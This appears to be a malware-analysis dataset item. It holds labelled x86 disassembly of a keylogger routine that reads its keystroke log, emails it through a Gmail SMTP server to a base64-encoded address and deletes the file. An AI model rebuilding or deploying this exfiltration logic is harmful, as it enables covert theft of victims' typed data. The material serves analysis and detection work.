Function at 0x402050
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov edx, 0x404041
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x405080]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4022a5
mov edx, 2
xor eax, eax
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov edi, dword [ebp - 0x14]
mov dword [esp], edi
call sub.msvcrt.dll_fseek
mov esi, dword [ebp - 0x14]
mov dword [esp], esi
call sub.msvcrt.dll_ftell
cmp eax, 0xc34f
mov esi, eax
jle 0x402290
lea ebx, [eax + 0x3e8]
mov edi, 0x3a746365
mov dword [esp], ebx
call sub.msvcrt.dll_malloc
mov dword [eax], 0x3a6f54
mov ebx, eax
mov dword [esp], str.aG9oYWh1aG9AZ21haWwuY29t
call fcn.004012b0
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov word [eax + ebx], 0xa
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [eax + ebx], 0x6d6f7246
mov word [eax + ebx + 4], 0x3a
mov dword [esp], str.S2V5LUxvZ2dlcg
call fcn.004012b0
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov word [eax + ebx], 0xa
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [eax + ebx + 4], edi
lea edi, [ebp - 0x10]
mov dword [eax + ebx], 0x6a627553
mov byte [eax + ebx + 8], 0
mov dword [esp], str.TG9n
call fcn.004012b0
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov word [eax + ebx], 0xa
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [ebp - 0x10], eax
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [eax + ebx], 0x676f4c0a
mov ecx, 0x6e65532d
mov edx, 0x203a64
mov dword [eax + ebx + 4], ecx
mov dword [eax + ebx + 8], edx
mov dword [esp], edi
call sub.msvcrt.dll_ctime
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
xor edx, edx
xor ecx, ecx
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov edi, dword [ebp - 0x14]
mov ecx, 1
add eax, ebx
mov dword [esp + 4], ecx
mov dword [esp + 8], esi
mov dword [esp + 0xc], edi
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov byte [ebx + eax], 0
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [eax + ebx], 0xd2e0a0d
mov word [eax + ebx + 4], 0xa
mov dword [esp], str.TG9n
call fcn.004012b0
mov dword [ebp - 0x18], eax
mov dword [esp], str.S2V5LUxvZ2dlcg
call fcn.004012b0
mov dword [esp], str.aG9oYWh1aG9AZ21haWwuY29t
mov edi, eax
call fcn.004012b0
mov dword [esp], str.Z21haWwtc210cC1pbi5sLmdvb2dsZS5jb20
mov esi, eax
call fcn.004012b0
mov dword [esp + 0x10], ebx
mov edx, dword [ebp - 0x18]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp + 0xc], edx
mov dword [esp], eax
call fcn.00401d10
mov esi, dword [ebp - 0x14]
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov ecx, dword [0x405080]
mov dword [esp], ecx
call sub.msvcrt.dll_remove
mov dword [esp], ebx
call sub.msvcrt.dll_free
add esp, 0x2c
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebp - 0x14]
mov dword [esp], esi
call sub.msvcrt.dll_fclose
add esp, 0x2c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x2710
call sub.msvcrt.dll__sleep
mov ecx, dword [0x405080]
mov ebx, 0x404041
mov dword [esp + 4], ebx
mov dword [esp], ecx
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4022a5
jmp 0x40207a